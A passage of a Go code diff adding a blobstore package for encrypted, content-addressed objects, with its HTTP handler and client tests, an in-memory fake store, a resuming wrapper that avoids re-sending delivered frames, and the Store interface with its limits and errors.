%q, %v", got, err) + } + if _, err := g.client("bob").Get(ctx, o.RID); !errors.Is(err, blobstore.ErrNotFound) { + t.Fatalf("other identity Get = %v, want ErrNotFound", err) + } + if have, _ := g.client("bob").Has(ctx, []string{o.RID}); len(have) != 1 || have[0] { + t.Fatalf("other identity Has = %v, want [false]", have) + } + if code := statusOf(t, g, "bob", http.MethodGet, "/v1/store/objects/"+o.RID, nil); code != http.StatusNotFound { + t.Fatalf("status = %d, want 404 (never 401)", code) + } +} + +// TestHandlerGetFrameRange: a frame fetch answers the whole frame at 200, +// its one range at 206 with a Content-Range, an open-ended and an over-long +// range clamped to the frame's end, and every other Range header — several +// ranges, a malformed one, a start past the end — with 416, the same answer +// the Worker gives (contract §22.3). +func TestHandlerGetFrameRange(t *testing.T) { + g := newRig(t) + c := g.client("alice") + _, f := frame(t, "onetwo") + id, err := c.PutFrame(context.Background(), f) + if err != nil { + t.Fatal(err) + } + fetch := func(rng string) (int, string, []byte) { + req, _ := http.NewRequest(http.MethodGet, g.srv.URL+"/v1/store/frames/"+id, nil) + if rng != "" { + req.Header.Set("Range", rng) + } + fakeSign("alice")(req, nil) + resp, err := g.srv.Client().Do(req) + if err != nil { + t.Fatal(err) + } + defer resp.Body.Close() + b, _ := io.ReadAll(resp.Body) + return resp.StatusCode, resp.Header.Get("Content-Range"), b + } + code, _, got := fetch("") + if code != http.StatusOK || string(got) != string(f) { + t.Fatalf("plain GetFrame = %d, %d bytes; want 200, %d", code, len(got), len(f)) + } + code, cr, got := fetch("bytes=10-15") + if code != http.StatusPartialContent || string(got) != string(f[10:16]) || cr != fmt.Sprintf("bytes 10-15/%d", len(f)) { + t.Fatalf("ranged GetFrame = %d, %q, %d bytes; want 206, %q, 6", code, cr, len(got), fmt.Sprintf("bytes 10-15/%d", len(f))) + } + code, cr, got = fetch("bytes=10-") + if code != http.StatusPartialContent || string(got) != string(f[10:]) || cr != fmt.Sprintf("bytes 10-%d/%d", len(f)-1, len(f)) { + t.Fatalf("open-ended GetFrame = %d, %q, %d bytes; want 206 to the end", code, cr, len(got)) + } + code, cr, got = fetch(fmt.Sprintf("bytes=10-%d", len(f)+9)) + if code != http.StatusPartialContent || string(got) != string(f[10:]) || cr != fmt.Sprintf("bytes 10-%d/%d", len(f)-1, len(f)) { + t.Fatalf("over-long GetFrame = %d, %q, %d bytes; want 206 clamped to the end", code, cr, len(got)) + } + for _, rng := range []string{"bytes=0-5,10-15", "bytes=abc", "0-5", fmt.Sprintf("bytes=%d-", len(f))} { + if code, _, _ = fetch(rng); code != http.StatusRequestedRangeNotSatisfiable { + t.Errorf("Range %q answered %d, want 416", rng, code) + } + } +} + +func statusOf(t *testing.T, g *rig, id, method, path string, body []byte) int { + t.Helper() + req, _ := http.NewRequest(method, g.srv.URL+path, bytes.NewReader(body)) + fakeSign(id)(req, body) + resp, err := g.srv.Client().Do(req) + if err != nil { + t.Fatal(err) + } + defer resp.Body.Close() + return resp.StatusCode +} + +func TestHandlerFullIs507(t *testing.T) { + g := newRig(t) + _, f := frame(t, "x") + g.memory("alice").FailAfter(0, blobstore.ErrFull) + if code := statusOf(t, g, "alice", http.MethodPost, "/v1/store/frames", f); code != http.StatusInsufficientStorage { + t.Fatalf("status = %d, want 507", code) + } +} + +// countingBody yields n zero bytes and remembers how many were taken. +type countingBody struct{ left, taken int } + +func (b *countingBody) Read(p []byte) (int, error) { + if b.left == 0 { + return 0, io.EOF + } + n := min(len(p), b.left) + b.left -= n + b.taken += n + return n, nil +} + +// The cap must stop the read, not follow it: with a body twice the limit, the +// handler may take at most MaxFrame+1 bytes before it answers 413. +func TestHandlerBodyLimit(t *testing.T) { + h := blobstore.Handler(fakeAuth, func(string) (blobstore.Store, error) { return blobstore.NewMemory(), nil }) + body := &countingBody{left: 2 * blobstore.MaxFrame} + req := httptest.NewRequest(http.MethodPost, "/v1/store/frames", body) + fakeSign("alice")(req, nil) + rec := httptest.NewRecorder() + h.ServeHTTP(rec, req) + if rec.Code != http.StatusRequestEntityTooLarge { + t.Fatalf("status = %d, want 413", rec.Code) + } + if body.taken > blobstore.MaxFrame+1 { + t.Fatalf("handler read %d bytes before refusing, limit is %d", body.taken, blobstore.MaxFrame) + } +} + +func TestHandlerNowOnEveryAnswer(t *testing.T) { + g := newRig(t) + for _, id := range []string{"alice", "skewed", ""} { + req, _ := http.NewRequest(http.MethodGet, g.srv.URL+"/v1/store/stats", nil) + if id != "" { + fakeSign(id)(req, nil) + } + resp, err := g.srv.Client().Do(req) + if err != nil { + t.Fatal(err) + } + resp.Body.Close() + if _, err := strconv.ParseInt(resp.Header.Get("Codeaf-Now"), 10, 64); err != nil { + t.Errorf("identity %q: status %d without a numeric Codeaf-Now", id, resp.StatusCode) + } + } +} + +func TestHTTPUnreachable(t *testing.T) { + dead := httptest.NewServer(http.NotFoundHandler()) + c := blobstore.NewHTTP(dead.URL, fakeSign("alice"), dead.Client()) + dead.Close() + if _, err := c.Get(context.Background(), strings.Repeat("a", 64)); !errors.Is(err, blobstore.ErrUnreachable) { + t.Fatalf("Get on a closed server = %v, want ErrUnreachable", err) + } + for _, status := range []int{500, 502, 503} { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { w.WriteHeader(status) })) + c := blobstore.NewHTTP(srv.URL, fakeSign("alice"), srv.Client()) + if _, err := c.Has(context.Background(), nil); !errors.Is(err, blobstore.ErrUnreachable) { + t.Errorf("status %d: Has = %v, want ErrUnreachable", status, err) + } + srv.Close() + } +} + +// Skew is surfaced, never retried: the person must be told once. +func TestHTTPClientSurfacesSkew(t *testing.T) { + var asked int + counting := func(r *http.Request, b []byte) (string, string, error) { + asked++ + return fakeAuth(r, b) + } + srv := httptest.NewServer(blobstore.Handler(counting, func(string) (blobstore.Store, error) { return blobstore.NewMemory(), nil })) + defer srv.Close() + + c := blobstore.NewHTTP(srv.URL, fakeSign("skewed"), srv.Client()) + if _, err := c.Has(context.Background(), nil); !errors.Is(err, wireauth.ErrSkew) { + t.Fatalf("Has = %v, want wireauth.ErrSkew", err) + } + if asked != 1 { + t.Fatalf("the server was asked %d times, want 1 (no silent retry)", asked) + } + unsigned := blobstore.NewHTTP(srv.URL, func(*http.Request, []byte) {}, srv.Client()) + if _, err := unsigned.Has(context.Background(), nil); !errors.Is(err, wireauth.ErrUnauthorized) || errors.Is(err, wireauth.ErrSkew) { + t.Fatalf("unsigned Has = %v, want ErrUnauthorized and not skew", err) + } +} + +// Every §2.1 error the store can raise comes out of the client as itself. +func TestHTTPErrorsRoundTrip(t *testing.T) { + all := []error{ + blobstore.ErrNotFound, blobstore.ErrBadFrame, blobstore.ErrBadRID, blobstore.ErrConflict, + blobstore.ErrFull, blobstore.ErrUnreachable, blobstore.ErrTooMany, blobstore.ErrDamaged, + wireauth.ErrRateLimited, wireauth.ErrTooManyIdentities, + } + rid := strings.Repeat("a", 64) + for _, want := range all { + t.Run(want.Error(), func(t *testing.T) { + g := newRig(t) + g.memory("alice").FailAfter(0, want) + if _, err := g.client("alice").Get(context.Background(), rid); !errors.Is(err, want) { + t.Fatalf("Get = %v, want %v", err, want) + } + }) + } +} + +// A rate limit keeps the wait the relay named, so the client can honour it. +func TestHTTPRateLimitKeepsRetryAfter(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Retry-After", "42") + w.WriteHeader(http.StatusTooManyRequests) + _, _ = w.Write([]byte(`{"err":"rate_limited"}`)) + })) + defer srv.Close() + c := blobstore.NewHTTP(srv.URL, fakeSign("alice"), srv.Client()) + _, err := c.Has(context.Background(), nil) + if !errors.Is(err, wireauth.ErrRateLimited) || wireauth.After(err) != 42*time.Second { + t.Fatalf("Has = %v (after %v), want ErrRateLimited after 42s", err, wireauth.After(err)) + } +} + +// The relay's 507 is the client's ErrFull, with no wait attached. +func TestHTTPFullIs507WithItsCeilingAndNoWait(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + w.WriteHeader(http.StatusInsufficientStorage) + _, _ = w.Write([]byte(`{"err":"full","limit_bytes":5368709120}`)) + })) + defer srv.Close() + c := blobstore.NewHTTP(srv.URL, fakeSign("alice"), srv.Client()) + _, err := c.Has(context.Background(), nil) + if !errors.Is(err, blobstore.ErrFull) || wireauth.After(err) != 0 || blobstore.LimitOf(err) != 5<<30 { + t.Fatalf("Has = %v (after %v, limit %d), want ErrFull, no wait and the 5 GiB ceiling", err, wireauth.After(err), blobstore.LimitOf(err)) + } +} + +// A handler whose store names a ceiling sends it in the 507 body, and one whose store does not sends no number. +func TestHandlerFullCarriesTheCeilingOnlyWhenTheStoreNamedOne(t *testing.T) { + for limit, want := range map[int64]int64{5 << 30: 5 << 30, 0: 0} { + g := newRig(t) + g.memory("alice").FailAfter(0, blobstore.Capped(blobstore.ErrFull, limit)) + _, err := g.client("alice").Get(context.Background(), strings.Repeat("a", 64)) + if !errors.Is(err, blobstore.ErrFull) || blobstore.LimitOf(err) != want { + t.Errorf("limit %d: Get = %v (limit %d), want ErrFull with ceiling %d", limit, err, blobstore.LimitOf(err), want) + } + } +} diff --git a/internal/blobstore/magic.go b/internal/blobstore/magic.go new file mode 100644 index 0000000000..e63ef24c72 --- /dev/null +++ b/internal/blobstore/magic.go @@ -0,0 +1,22 @@ +package blobstore + +import "bytes" + +// objectMagics are the only leading bytes a stored object may carry. A sealed +// object always starts with one of them, so a frame holding anything else, above +// all plaintext, is refused before it can reach a store (L6). AGEO is an +// engine object; AGEV is a vault object. +var objectMagics = [][]byte{ + []byte("AGEO\x01"), + []byte("AGEV\x01"), +} + +// hasObjectMagic reports whether b starts with an allowed object magic. +func hasObjectMagic(b []byte) bool { + for _, m := range objectMagics { + if bytes.HasPrefix(b, m) { + return true + } + } + return false +} diff --git a/internal/blobstore/memory.go b/internal/blobstore/memory.go new file mode 100644 index 0000000000..3afd60fcdb --- /dev/null +++ b/internal/blobstore/memory.go @@ -0,0 +1,233 @@ +package blobstore + +import ( + "bytes" + "context" + "sync" +) + +// Op is one call a Memory store received, in order, for tests that assert +// what a caller did (and did not) send. +type Op struct { + Kind string // "put" | "get" | "has" | "getframe" | "locate" + Frame FrameID + RIDs []string + Bytes int64 // frame length for put and getframe, object length for get, 0 for has and locate +} + +// Memory is the fake: a real store with the semantics of every other, kept in +// a map, that also remembers each call it answered. +type Memory struct { + mu sync.Mutex + objects map[string][]byte + frames map[string][]byte // whole frames, by id, for GetFrame + locs map[string]Location // where each object lies, learned at put time + log []Op + fail *failure // the next call to fail, if any +} + +// failure is a call that will fail on purpose: after skip more calls succeed. +type failure struct { + skip int + err error +} + +// NewMemory returns an empty store. +func NewMemory() *Memory { + return &Memory{ + objects: map[string][]byte{}, + frames: map[string][]byte{}, + locs: map[string]Location{}, + } +} + +// Log returns a copy of every call so far, oldest first. +func (m *Memory) Log() []Op { + m.mu.Lock() + defer m.mu.Unlock() + return append([]Op(nil), m.log...) +} + +// FailAfter makes the call after the next n successful ones return err, once, +// so a test can watch a caller meet ErrFull or ErrUnreachable and then carry on. +func (m *Memory) FailAfter(n int, err error) { + m.mu.Lock() + defer m.mu.Unlock() + m.fail = &failure{skip: n, err: err} +} + +// due reports the injected error when it is this call's turn, and spends it. +func (m *Memory) due() error { + f := m.fail + if f == nil { + return nil + } + if f.skip > 0 { + f.skip-- + return nil + } + m.fail = nil + return f.err +} + +// PutFrame implements Store. It checks every object before it stores any, so a +// conflicting frame leaves the store exactly as it was. +func (m *Memory) PutFrame(_ context.Context, frame []byte) (FrameID, error) { + m.mu.Lock() + defer m.mu.Unlock() + op := Op{Kind: "put", Bytes: int64(len(frame))} + defer func() { m.log = append(m.log, op) }() + + if err := m.due(); err != nil { + return "", err + } + h, objects, err := Decode(frame) + if err != nil { + return "", err + } + op.Frame = IDOf(frame) + op.RIDs = ridsOf(objects) + if err := m.conflict(objects); err != nil { + return "", err + } + for _, o := range objects { + m.objects[o.RID] = bytes.Clone(o.Bytes) + } + // The frame and its locations are learned here, where the frame is already + // decoded, so GetFrame and Locate read rather than decode. First location + // wins, as with every store: a repeated rid keeps the pointer it had. + m.frames[op.Frame] = bytes.Clone(frame) + start := payloadStart(frame, h) + for _, ref := range h.Objects { + if _, held := m.locs[ref.RID]; !held { + m.locs[ref.RID] = Location{Frame: op.Frame, Off: start + ref.Off, Len: ref.Len} + } + } + return op.Frame, nil +} + +// conflict reports ErrConflict when any object is already held with other bytes. +func (m *Memory) conflict(objects []Object) error { + for _, o := range objects { + if have, ok := m.objects[o.RID]; ok && !bytes.Equal(have, o.Bytes) { + return ErrConflict + } + } + return nil +} + +// Get implements Store. The answer is a copy, so a caller cannot change what is stored. +func (m *Memory) Get(_ context.Context, rid string) ([]byte, error) { + m.mu.Lock() + defer m.mu.Unlock() + op := Op{Kind: "get", RIDs: []string{rid}} + defer func() { m.log = append(m.log, op) }() + + if err := m.due(); err != nil { + return nil, err + } + if err := checkGet(rid); err != nil { + return nil, err + } + have, err := m.lookup(rid) + op.Bytes = int64(len(have)) + return have, err +} + +// GetMany implements Store. It is one call in the log, however many objects it +// answers, because it is one request on every wire. +func (m *Memory) GetMany(_ context.Context, rids []string) ([]Object, error) { + m.mu.Lock() + defer m.mu.Unlock() + op := Op{Kind: "get"} + defer func() { m.log = append(m.log, op) }() + + if err := m.due(); err != nil { + return nil, err + } + if err := checkMany(rids); err != nil { + return nil, err + } + got, err := gatherPrefix(rids, m.lookup) + op.RIDs, op.Bytes = ridsOf(got), sizeOf(got) + return got, err +} + +// lookup is a copy of the object held under rid; the caller holds the lock. +func (m *Memory) lookup(rid string) ([]byte, error) { + have, ok := m.objects[rid] + if !ok { + return nil, ErrNotFound + } + return bytes.Clone(have), nil +} + +// Has implements Store. +func (m *Memory) Has(_ context.Context, rids []string) ([]bool, error) { + m.mu.Lock() + defer m.mu.Unlock() + m.log = append(m.log, Op{Kind: "has", RIDs: append([]string(nil), rids...)}) + + if err := m.due(); err != nil { + return nil, err + } + if err := checkHas(rids); err != nil { + return nil, err + } + have := make([]bool, len(rids)) + for i, rid := range rids { + _, have[i] = m.objects[rid] + } + return have, nil +} + +// GetFrame implements Store: the frame it holds under id, as it was put. +func (m *Memory) GetFrame(_ context.Context, frame string) ([]byte, error) { + m.mu.Lock() + defer m.mu.Unlock() + op := Op{Kind: "getframe", Frame: frame} + defer func() { m.log = append(m.log, op) }() + + if err := m.due(); err != nil { + return nil, err + } + if err := checkGet(frame); err != nil { + return nil, err + } + have, ok := m.frames[frame] + if !ok { + return nil, ErrNotFound + } + op.Bytes = int64(len(have)) + return bytes.Clone(have), nil +} + +// Locate implements Store: where each held rid lies, read from the locations +// the puts learned. +func (m *Memory) Locate(_ context.Context, rids []string) (map[string]Location, error) { + m.mu.Lock() + defer m.mu.Unlock() + m.log = append(m.log, Op{Kind: "locate", RIDs: append([]string(nil), rids...)}) + + if err := m.due(); err != nil { + return nil, err + } + if err := checkHas(rids); err != nil { + return nil, err + } + at := make(map[string]Location, len(rids)) + for _, rid := range rids { + if loc, ok := m.locs[rid]; ok { + at[rid] = loc + } + } + return at, nil +} + +func ridsOf(objects []Object) []string { + rids := make([]string, len(objects)) + for i, o := range objects { + rids[i] = o.RID + } + return rids +} diff --git a/internal/blobstore/memory_test.go b/internal/blobstore/memory_test.go new file mode 100644 index 0000000000..887707c857 --- /dev/null +++ b/internal/blobstore/memory_test.go @@ -0,0 +1,77 @@ +package blobstore_test + +import ( + "context" + "errors" + "reflect" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" +) + +func TestMemoryLogRecordsEveryCallInOrder(t *testing.T) { + ctx := context.Background() + m := blobstore.NewMemory() + a, b := obj("a", "one"), obj("b", "two") + frame, _ := blobstore.Encode(testKey, []blobstore.Object{a, b}) + + id, err := m.PutFrame(ctx, frame) + if err != nil { + t.Fatal(err) + } + if _, err := m.Get(ctx, a.RID); err != nil { + t.Fatal(err) + } + if _, err := m.Has(ctx, []string{b.RID, obj("c", "").RID}); err != nil { + t.Fatal(err) + } + + want := []blobstore.Op{ + {Kind: "put", Frame: id, RIDs: []string{a.RID, b.RID}, Bytes: int64(len(frame))}, + {Kind: "get", RIDs: []string{a.RID}, Bytes: int64(len(a.Bytes))}, + {Kind: "has", RIDs: []string{b.RID, obj("c", "").RID}}, + } + if got := m.Log(); !reflect.DeepEqual(got, want) { + t.Fatalf("Log() =\n%+v\nwant\n%+v", got, want) + } +} + +func TestMemoryLogIsACopy(t *testing.T) { + m := blobstore.NewMemory() + _, _ = m.Has(context.Background(), nil) + m.Log()[0].Kind = "changed" + if m.Log()[0].Kind != "has" { + t.Fatal("changing the returned log changed the store's log") + } +} + +func TestMemoryStoresACopyOfTheFrame(t *testing.T) { + ctx := context.Background() + m := blobstore.NewMemory() + a := obj("a", "one") + frame, _ := blobstore.Encode(testKey, []blobstore.Object{a}) + if _, err := m.PutFrame(ctx, frame); err != nil { + t.Fatal(err) + } + for i := range frame { + frame[i] = 0 + } + if got, err := m.Get(ctx, a.RID); err != nil || string(got) != string(a.Bytes) { + t.Fatalf("Get after the caller reused its buffer = %q, %v", got, err) + } +} + +func TestMemoryFailAfterFailsOnceAtTheChosenCall(t *testing.T) { + ctx := context.Background() + m := blobstore.NewMemory() + m.FailAfter(1, blobstore.ErrUnreachable) + if _, err := m.Has(ctx, nil); err != nil { + t.Fatalf("first call = %v, want success", err) + } + if _, err := m.Has(ctx, nil); !errors.Is(err, blobstore.ErrUnreachable) { + t.Fatalf("second call = %v, want ErrUnreachable", err) + } + if _, err := m.Has(ctx, nil); err != nil { + t.Fatalf("third call = %v, want success", err) + } +} diff --git a/internal/blobstore/resume.go b/internal/blobstore/resume.go new file mode 100644 index 0000000000..850d9e426c --- /dev/null +++ b/internal/blobstore/resume.go @@ -0,0 +1,128 @@ +package blobstore + +import ( + "context" + "errors" + "sync" +) + +// Resuming wraps a Store so that a frame the far side already holds is never +// sent twice. Two things make a frame arrive more than once: a put that timed +// out after the relay had in fact stored it, and a flush that failed on a later +// frame and so starts over from the first. Puts are idempotent, so both are +// correct but cost every byte again, which on a large first publish is many +// times the folder. Resuming removes both: it remembers what it delivered, and +// after a transport failure it asks the store whether the frame landed anyway. +type Resuming struct { + Inner Store + + mu sync.Mutex + landed map[FrameID]bool +} + +var _ Store = (*Resuming)(nil) + +// NewResuming wraps inner. +func NewResuming(inner Store) *Resuming { + return &Resuming{Inner: inner, landed: map[FrameID]bool{}} +} + +// PutFrame sends frame unless this store has already taken it. +func (r *Resuming) PutFrame(ctx context.Context, frame []byte) (FrameID, error) { + id := IDOf(frame) + if r.isLanded(id) { + return id, nil + } + _, err := r.Inner.PutFrame(ctx, frame) + if errors.Is(err, ErrUnreachable) && r.holds(ctx, frame) { + err = nil + } + if err != nil { + return "", err + } + r.markLanded(id) + return id, nil +} + +// holds asks the store, in batches the wire allows, whether it has every object +// of frame. Any failure to find out answers false: the caller then reports the +// original error and the frame is sent again, which costs bytes but not safety. +func (r *Resuming) holds(ctx context.Context, frame []byte) bool { + h, _, err := Decode(frame) + if err != nil { + return false + } + rids := make([]string, len(h.Objects)) + for i, o := range h.Objects { + rids[i] = o.RID + } + for len(rids) > 0 { + n := min(MaxHas, len(rids)) + have, err := r.ask(ctx, rids[:n]) + if err != nil || !allTrue(have) { + return false + } + rids = rids[n:] + } + return true +} + +// confirmAttempts is how many times a question about a possibly landed frame +// is asked. A relay that is still writing the frame answers late, and a second +// ask is far cheaper than sending the frame again. +const confirmAttempts = 3 + +// ask is Has, asked again while the answer does not arrive. +func (r *Resuming) ask(ctx context.Context, rids []string) ([]bool, error) { + have, err := r.Inner.Has(ctx, rids) + for i := 1; i < confirmAttempts && errors.Is(err, ErrUnreachable); i++ { + have, err = r.Inner.Has(ctx, rids) + } + return have, err +} + +func allTrue(have []bool) bool { + for _, h := range have { + if !h { + return false + } + } + return true +} + +func (r *Resuming) isLanded(id FrameID) bool { + r.mu.Lock() + defer r.mu.Unlock() + return r.landed[id] +} + +func (r *Resuming) markLanded(id FrameID) { + r.mu.Lock() + defer r.mu.Unlock() + r.landed[id] = true +} + +// Get implements Store. +func (r *Resuming) Get(ctx context.Context, rid string) ([]byte, error) { + return r.Inner.Get(ctx, rid) +} + +// GetMany implements Store. +func (r *Resuming) GetMany(ctx context.Context, rids []string) ([]Object, error) { + return r.Inner.GetMany(ctx, rids) +} + +// Has implements Store. +// GetFrame passes through: resuming only concerns puts. +func (r *Resuming) GetFrame(ctx context.Context, frame string) ([]byte, error) { + return r.Inner.GetFrame(ctx, frame) +} + +// Locate passes through: resuming only concerns puts. +func (r *Resuming) Locate(ctx context.Context, rids []string) (map[string]Location, error) { + return r.Inner.Locate(ctx, rids) +} + +func (r *Resuming) Has(ctx context.Context, rids []string) ([]bool, error) { + return r.Inner.Has(ctx, rids) +} diff --git a/internal/blobstore/resume_test.go b/internal/blobstore/resume_test.go new file mode 100644 index 0000000000..6aaabefd44 --- /dev/null +++ b/internal/blobstore/resume_test.go @@ -0,0 +1,160 @@ +package blobstore + +import ( + "context" + "errors" + "fmt" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// slowRelay is a relay whose puts can be held at the moment they are received, +// with no wall-clock guess about how slow a disk is. Every put blocks in +// authentication, which is after its body has been read and before the store +// sees it, until the test lets it go; every Has announces itself on hasSeen. +type slowRelay struct { + srv *httptest.Server + counts *Counters + putSeen chan struct{} + hasSeen chan struct{} + release chan struct{} +} + +func newSlowRelay(t *testing.T) *slowRelay { + t.Helper() + disk, err := NewDisk(t.TempDir()) + if err != nil { + t.Fatal(err) + } + g := &slowRelay{ + counts: &Counters{}, + putSeen: make(chan struct{}, 64), + hasSeen: make(chan struct{}, 64), + release: make(chan struct{}, 64), + } + store := Counting{Inner: disk, C: g.counts} + g.srv = httptest.NewServer(Handler(g.auth, func(string) (Store, error) { return store, nil })) + t.Cleanup(g.srv.Close) + return g +} + +func (g *slowRelay) auth(r *http.Request, _ []byte) (string, string, error) { + switch r.URL.Path { + case pathFrames: + g.putSeen <- struct{}{} + <-g.release + case pathHas: + g.hasSeen <- struct{}{} + } + return "id", "dev", nil +} + +// client dials the relay with a put deadline short enough to fire while the put +// is held, and a Has deadline of hasWithin. +func (g *slowRelay) client(hasWithin time.Duration) *HTTP { + c := NewHTTP(g.srv.URL, wireauth.Sign(func(*http.Request, []byte) {}), nil) + c.deadline = func(body int) time.Duration { + if body > 1000 { + return 30 * time.Millisecond + } + return hasWithin + } + return c +} + +// A large publish must send every frame's bytes exactly once. Each put is held +// until the client has given up on it and asked whether it landed; Has must +// wait for the held put and answer yes, so nothing is sent a second time, and a +// flush that restarts from the first frame skips what was delivered. +func TestSlowDiskPublishSendsEveryFrameOnce(t *testing.T) { + g := newSlowRelay(t) + client := NewResuming(g.client(5 * time.Second)) + frames := manyFrames(t, 4, 8) + var total int64 + for _, f := range frames { + total += int64(len(f)) + put := make(chan error, 1) + go func() { _, err := client.PutFrame(context.Background(), f); put <- err }() + <-g.putSeen + <-g.hasSeen // the client timed out and now asks whether the put landed + time.Sleep(20 * time.Millisecond) + g.release <- struct{}{} + if err := <-put; err != nil { + t.Fatalf("put of a held frame failed: %v", err) + } + } + for _, f := range frames { // the next flush starts again from the first frame + if _, err := client.PutFrame(context.Background(), f); err != nil { + t.Fatal(err) + } + } + if got := g.counts.BytesUp.Load(); got != total { + t.Fatalf("relay received %d bytes for frames totalling %d", got, total) + } +} + +// A put that never ends must not hang Has, and Has must not answer no for it: +// it fails, and the client learns nothing rather than something false. +func TestHasFailsRatherThanAnswerNoWhilePutIsStuck(t *testing.T) { + g := newSlowRelay(t) + c := g.client(50 * time.Millisecond) + frame := manyFrames(t, 1, 2)[0] + go func() { _, _ = c.PutFrame(context.Background(), frame) }() + <-g.putSeen + defer func() { g.release <- struct{}{} }() + + start := time.Now() + have, err := c.Has(context.Background(), []string{fmt.Sprintf("%064x", 1)}) + if !errors.Is(err, ErrUnreachable) { + t.Fatalf("Has = %v, %v; want ErrUnreachable while a put is stuck", have, err) + } + if time.Since(start) > 3*time.Second { + t.Fatal("Has hung on a stuck put") + } +} + +// manyFrames builds n frames of k sealed objects each, all distinct. +func manyFrames(t *testing.T, n, k int) [][]byte { + t.Helper() + var out [][]byte + for i := 0; i < n; i++ { + var objs []Object + for j := 0; j < k; j++ { + rid := fmt.Sprintf("%064x", i*1000+j+1) + objs = append(objs, sealedObject(rid, strings.Repeat("x", 512)+rid)) + } + f, err := Encode(strings.Repeat("0", 32), objs) + if err != nil { + t.Fatal(err) + } + out = append(out, f) + } + return out +} + +// A frame that was delivered is not sent again, and the deadline grows with the +// body so that a large frame is not cut off by the allowance a small one gets. +func TestResumingSkipsDeliveredFrame(t *testing.T) { + c := Counting{Inner: NewMemory(), C: &Counters{}} + r := NewResuming(c) + frame := manyFrames(t, 1, 3)[0] + for i := 0; i < 3; i++ { + if _, err := r.PutFrame(context.Background(), frame); err != nil { + t.Fatal(err) + } + } + if got := c.C.Puts.Load(); got != 1 { + t.Fatalf("store saw %d puts of one frame, want 1", got) + } +} + +func TestDeadlineGrowsWithBody(t *testing.T) { + if small, large := Deadline(1<<10), Deadline(MaxFrame); large <= small+time.Minute { + t.Fatalf("deadline for a max frame %v is not well above a small one's %v", large, small) + } +} diff --git a/internal/blobstore/run_test.go b/internal/blobstore/run_test.go new file mode 100644 index 0000000000..02df1b3e57 --- /dev/null +++ b/internal/blobstore/run_test.go @@ -0,0 +1,22 @@ +package blobstore_test + +import ( + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/blobstore/blobstoretest" +) + +func TestMemoryConforms(t *testing.T) { + blobstoretest.Run(t, func(*testing.T) blobstore.Store { return blobstore.NewMemory() }) +} + +func TestDiskConforms(t *testing.T) { + blobstoretest.Run(t, func(t *testing.T) blobstore.Store { + d, err := blobstore.NewDisk(t.TempDir()) + if err != nil { + t.Fatal(err) + } + return d + }) +} diff --git a/internal/blobstore/store.go b/internal/blobstore/store.go new file mode 100644 index 0000000000..bee53b15e3 --- /dev/null +++ b/internal/blobstore/store.go @@ -0,0 +1,135 @@ +package blobstore + +import ( + "context" + "errors" + "fmt" +) + +// Store holds encrypted objects, addressed only by content (L5). It never sees +// plaintext (L6). Implementations: Memory (fake), Disk, HTTP, S3. +type Store interface { + // PutFrame stores every object in one frame. It validates the frame with + // Decode first. Idempotent: an object already stored with identical bytes + // is not an error; the same rid with different bytes is ErrConflict. + PutFrame(ctx context.Context, frame []byte) (FrameID, error) + // Get answers one object's bytes by remote id. ErrNotFound if absent. + Get(ctx context.Context, rid string) ([]byte, error) + // Has answers, per rid, whether the store holds it. len(rids) <= MaxHas. + Has(ctx context.Context, rids []string) ([]bool, error) + // GetMany answers the objects of the longest prefix of rids that fits in + // one frame's worth of bytes (TargetFrame), in request order and at least + // one, so a taker that wants thousands of objects asks once per frame and + // not once per object. It stops early, with what it has, at the first + // object that is absent; ErrNotFound only when rids[0] itself is. The + // caller asks again for the rest. len(rids) <= MaxGetMany. + GetMany(ctx context.Context, rids []string) ([]Object, error) + // GetFrame answers one whole frame by its id. ErrNotFound when absent; + // ErrBadRID when the id is not a frame id, so a hostile one cannot name a path. + GetFrame(ctx context.Context, frame string) ([]byte, error) + // Locate answers, per rid, where the held object lies: which frame, at + // which offset, of which length. A rid the store does not hold is absent + // from the map, not an error, so one call answers a whole plan. The + // offsets count from the start of the frame, the way a pointer does. + // len(rids) <= MaxHas. + Locate(ctx context.Context, rids []string) (map[string]Location, error) +} + +// Location is where one stored object lies inside the frame that holds it. +type Location struct { + Frame FrameID `json:"frame"` + Off uint64 `json:"off"` + Len uint32 `json:"len"` +} + +// FrameID is the lowercase hex SHA-256 of a whole frame. +type FrameID = string + +const ( + // MaxHas bounds one Has request so a caller cannot make a store scan without limit. + MaxHas = 1000 + // MaxGetMany bounds one GetMany request. It is sized so that the ids of a + // request (about 16 KB) stay small beside the frame that answers it. + MaxGetMany = 256 + // MaxFrame bounds a whole frame in bytes. + MaxFrame = 16 << 20 + // MaxHeader bounds the JSON header of a frame in bytes. + MaxHeader = 1 << 20 + // TargetFrame is the size at which writers flush a frame. + TargetFrame = 1 << 20 + // BulkFrame is the size a writer closes a frame at (contract §22.6): one + // frame covers this many bytes of one save, so a bulk save costs a few + // large frames and an incremental save still writes one small one. + BulkFrame = 8 << 20 +) + +var ( + ErrNotFound = errors.New("blobstore: not found") + ErrBadFrame = errors.New("blobstore: bad frame") + ErrBadRID = errors.New("blobstore: bad remote id") + ErrConflict = errors.New("blobstore: rid exists with different bytes") + ErrUnreachable = errors.New("blobstore: unreachable") // transport; callers degrade + ErrFull = errors.New("blobstore: full") // quota or disk; retry later + ErrTooMany = errors.New("blobstore: too many rids") + ErrDamaged = errors.New("blobstore: stored data is damaged") +) + +// ValidRID reports whether s is 64 lowercase hex characters. +func ValidRID(s string) bool { return isLowerHex(s, 64) } + +// isLowerHex reports whether s is exactly n lowercase hex characters. +func isLowerHex(s string, n int) bool { + if len(s) != n { + return false + } + for i := 0; i < len(s); i++ { + if c := s[i]; (c < '0' || c > '9') && (c < 'a' || c > 'f') { + return false + } + } + return true +} + +// checkHas is the one place the Has argument rules live, so every +// implementation refuses the same requests the same way: too many ids is a +// caller bug (ErrTooMany), and an id that is not a remote id could never be stored. +func checkHas(rids []string) error { + if len(rids) > MaxHas { + return fmt.Errorf("%w: %d ids, the limit is %d", ErrTooMany, len(rids), MaxHas) + } + for _, rid := range rids { + if !ValidRID(rid) { + return fmt.Errorf("%w: %q", ErrBadRID, rid) + } + } + return nil +} + +// checkGet refuses an id that could never 